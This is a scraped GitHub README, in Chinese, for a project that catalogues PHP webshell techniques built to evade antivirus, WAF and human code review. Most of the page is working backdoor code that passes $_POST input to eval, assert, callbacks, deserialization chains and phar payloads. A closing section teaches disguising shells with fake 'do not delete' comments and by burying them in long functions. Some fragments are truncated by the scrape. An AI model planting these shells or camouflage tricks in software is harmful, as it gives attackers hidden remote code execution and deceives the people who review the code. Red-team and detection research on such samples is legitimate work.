Need help with BypassShell?
Click the “chat” button below for chat support from the developer who created it, or find similar developers for support.

About the developer

lufeirider
246 Stars 67 Forks 23 Commits 0 Opened issues

Description

anti AV

Services available

!
?

Need anything else?

Contributors list

# 161,146
Python
Java
22 commits

免责声明

  1. 在对方未授权的情况下,直接或间接利用本项目涉及到的研究样本攻击目标是违法行为.
  2. 本项目涉及到的样本仅为安全研究和授权情况下使用,其使用人员有责任和义务遵守当地法律条规.
  3. 本项目涉及到的样本及文章仅为促进安全防御研究使用,研究人员对因误用该程序造成的资产损坏和损失概不负责.

前言

红蓝对抗中,常常遇到waf。此项目讨论的就是红蓝对抗中的免杀环节。

此项目虽然是免杀shell,但跟代码审计密切相关,有些免杀方法就是真实漏洞的一部分简化,故打算长期沉淀,把自己看到、想到的更新在此。

大概如下四部分:

1、source

2、数据流

3、sink

4、面向人的免杀

这里有的一提的是面向人的免杀,检测工具易过,但是人一看就看得出来。所以也是要免杀人的。

source

直接从变量获取

$_SERVER

GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 2
code: phpinfo();
Connection: close

$_FILES Content-Type

POST /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 180
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36
Origin: http://127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjm8AolGAXiYuOHE9
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://127.0.0.1/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close

------WebKitFormBoundaryjm8AolGAXiYuOHE9 Content-Disposition: form-data; name="file"; filename="1.txt" Content-Type: phpinfo()

11 ------WebKitFormBoundaryjm8AolGAXiYuOHE9--

GLOBALS

通过函数二阶获取

getdefinedvars

通过end(getdefinedvars()[_POST])获取

assert(end(get_defined_vars()[_POST]));

next $GLOBALS


mysqli_connect

还有 smb \127.0.0.1\1.txt ftp 等等各种获取

```php

-- 表的结构
code

CREATE TABLE IF NOT EXISTS

code
(
code
varchar(255) COLLATE utf8mb4bin NOT NULL ) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4bin;

--

-- 转存表中的数据
code

INSERT INTO

code
(
code
) VALUES ('phpinfo();'); ```

filegetcontents


php://input

需要开启allowurlinclude

php
eval("php://input");

fileputcontents文件

data:text协议

include "data:text/plain,";

d盾0级

php


session

";
session_write_close();

include session_save_path().'/sess_shell';

session_id

GET /shell/xx.php HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
Connection: close
Cookie: PHPSESSID=706870696e666f28293b



tmp_file

//phpD722.tmp
eval(fread($temp,100));

写文件-error_log

", 3, "./test.php");
include "test.php";
?>

$_FILES['file']['tmp_name']

sysgettempdir() ```php <?php $filename = $FILES['file']['tmp_name']; include $filename; ```

upload_progress

需要条件竞争,php脚本无权限设置cleanup为0 ```php POST /shell/xx.php HTTP/1.1 Host: 127.0.0.1 Content-Length: 64016 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: null Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryOAAgdsu072sFLxAt User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 Cookie: PHPSESSID=test Connection: close

------WebKitFormBoundaryOAAgdsu072sFLxAt Content-Disposition: form-data; name="PHPSESSIONUPLOAD_PROGRESS"

<?php phpinfo();?> ------WebKitFormBoundaryOAAgdsu072sFLxAt Content-Disposition: form-data; name="file1"; filename="lufei.txt" Content-Type: application/x-zip-compressed

33333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333 ------WebKitFormBoundaryOAAgdsu072sFLxAt-- ```

语法

参数列表展开


三目运算


数据流

uaf

php 5.6测试成功。 ```php <?php $code = $POST[1]; $serializedstring = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}'; $outerarray = unserialize($serializedstring); gccollectcycles(); $filler1 = "aaaa"; $filler2 = &$code;

eval($outer_array); ?> ```

多个文件

1.php



2.php

include "1.php";
eval($code);

非等号赋值-数组传递


变量覆盖-parse_str


变量覆盖-双$

 $value) {
    ${$key} = $value;
}

eval($code); ?>

变量覆盖-extract

extract($_GET).$a($b);

unserialize


phar

$filename = session_save_path()."\poc.jpg";

$base64_content = "R0lGODlhPD9waHAgX19IQUxUX0NPTVBJTEVSKCk7ID8+DQpEAAAAAQAAABEAAAABAAAAAAAPAAAATzo0OiJFdmlsIjowOnt9BwAAAGZvby50eHQDAAAAwuwKXgMAAACqjP92tgEAAAAAAABiYXKom9RaUZXhHL4WJYxruh//z4dpZQIAAABHQk1C"; $file = fopen($filename, "w"); fwrite($file,base64_decode($base64_content)); fclose($file);

is_file("phar://".$filename); ?>

pop链

function __destruct() {
    $evil = new Evil();
    $evil->func = $_GET['func'];
    $evil-&gt;code = $_POST[1];
    $evil."11";
}

}

Class Evil{ public $func; public $code;

function __toString() {
    call_user_func($this-&gt;func,$this-&gt;code);
    return "";
}

}

$warpper = new Wrapper(); ?>

回调函数

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

php
$e = $_REQUEST['e'];
$arr = array($_POST[1],);
array_filter($arr, $e);

匿名类-new class

invoke($_POST[1]);
?>

trait

trait Evilable {
    public function test($code){
        eval($code);
    }
}

class Legal{ use Evilable; }

$evil = new Legal(); $evil->test($_POST[1]);

数据源来于类属性 ```php trait Evilable { public $code; public function test(){ eval($this->code); } }

class Legal{ use Evilable; }

$evil = new Legal(); $evil->code = $_POST[1]; $evil->test($evil->code); ```

自定义路由-工厂模式

code);
    }
}

class ClassFactory { public function getObject($className){ return new $className; } }

$classFactory = new ClassFactory(); $evil = $classFactory->getObject("Evil"); $evil->code = $_POST[1]; $evil->test(); ?>

自定义路由-责任链

public function doChain($level,$nothing){
    if($this->level==$level){
        $this-&gt;doit($nothing);
    }
    if($this-&gt;next!=null){
        $this-&gt;next-&gt;doChain($level,$nothing);
    }

}

public function doit($nothing){
}

}

class Legal extends Chain{ public function __construct(){ $this->level=1; }

public function doit($nothing){
    echo $code;
}

}

class Evil extends Chain{ public $code;

public function __construct(){
    $this-&gt;level=2;
}

public function doit($nothing){
    eval($this-&gt;code);
}

}

$legal = new Legal(); $evil = new Evil(); $legal->next = $evil; $evil->next = null;

$evil->code = $_POST[1]; $legal->doChain(2,""); ?>

sink

代码执行的sink和代码流这块有点区别,执行任意代码的属于sink,执行指定代码的是代码流。

动态调用-字符串

编码

php7

php

字符串拼接

$func = 'as'.'sert';
$func($_POST[1]);

字符串分割


各种运算-异或

$func($_POST[1]);
?>

eval、assert同效果

回调函数

https://www.leavesongs.com/PENETRATION/php-callback-backdoor.html

php
$e = $_REQUEST['e'];
$arr = array($_POST['pass'],);
array_filter($arr, $e);

文件包含

include('1.txt')

双引号

$code = $_POST[1];
$data = "xxxxxxx{${eval($code)}}xxxxxx";

ob_start


create_function


二阶获取sink

数组


二维数组


getdefinedfunctions

print_r(get_defined_functions()['internal']);
echo $arr[841]; //每个版本的assert数字不同, php版本5.6.27为850

$arr841;

ReflectionFunction

$func = new ReflectionFunction('assert');
print_r($func->invoke($_POST[1]));

别名

php7

php

语法

斜杠

php5.3测试成功

php

[email protected]

5.5 7.0 不再支持/e

php

流量

这块随便把流量编码或者加密

php
//1=cGhwaW5mbygpOw==

面向人的免杀

注释

无中生有-假装是正常代码

自己的程序可以不写注释,shell一定要写个假注释 ```php //实例化对象的工厂与测试代码,千万别删除,可能程序导致崩溃或者莫名其妙的bug <?php class Test { public $code; public function test(){ eval($this->code); } }

class ClassFactory { public function getObject($className){ return new $className; } }

$classFactory = new ClassFactory(); $test = $classFactory->getObject("Test"); $test->code = $_POST[1]; $test->test(); ?> ```

代码

无中生有

5.5 7.0不再支持/e

php

瞒天过海-正常代码插入shell

插入在比较长的函数代码中

php
function filter()
{
    $func = 'as'.'sert';
    //其他n多代码
    $code = $_POST[1];
    //其他n多代码
    $func($code);
}
filter();

暗渡陈仓-1il

声东击西-假的shell

暴露一个明显而隐晦,白色中带黑色shell,另外一个文件写入真正的shell。 ```php //另外一个文件写真正的shell

//密码是1 $code = "eval($####POST####[1]);"; $code = strreplace("####","",$code); eval($code); ```

参考

maple、SkyBlue永恒、新仙剑之鸣、anlfi、mochazz、yzddMr6s、JamVayne、UltramanGaia、phith0n、Laruence等发过的文章。

We use cookies. If you continue to browse the site, you agree to the use of cookies. For more information on our use of cookies please see our Privacy Policy.